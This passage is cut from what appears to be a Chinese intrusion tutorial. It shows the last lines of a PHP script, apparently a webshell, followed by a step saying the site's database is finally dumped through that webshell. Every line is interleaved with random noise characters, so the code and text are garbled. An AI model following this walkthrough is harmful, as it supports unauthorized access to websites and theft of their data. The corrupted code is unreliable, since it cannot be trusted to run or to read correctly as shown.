- p('</form>');$ F$ V3 d# r7 ~, ?9 U! I* v- @
- }9 p$ k1 b' K5 N" }
- + F; J/ Y1 j5 ^' Q& F
- // 调试函数% Z1 X' f5 }. }( @5 P
- function pr($a) {
5 [1 N# j6 U& A( B - echo '<pre>';1 g& U) _1 ?) b8 E8 `, R9 }( m- Y
- print_r($a);# i1 n1 O1 A/ w. p; ?/ ?% }
- echo '</pre>';5 b' R! c7 _3 C# N/ j
- }) q" z e2 E* Y, N. `5 k! }/ N+ D M9 ^4 \
- - E0 L( [6 ^! f- {3 l+ ?. z
- ?>
复制代码11、最后通过大码对网站数据库进行脱库% c3 g O/ M _+ l" f! w9 [4 h) U
 % t9 I/ E+ f# S: r+ g% w
j1 A6 d% r' _- H
|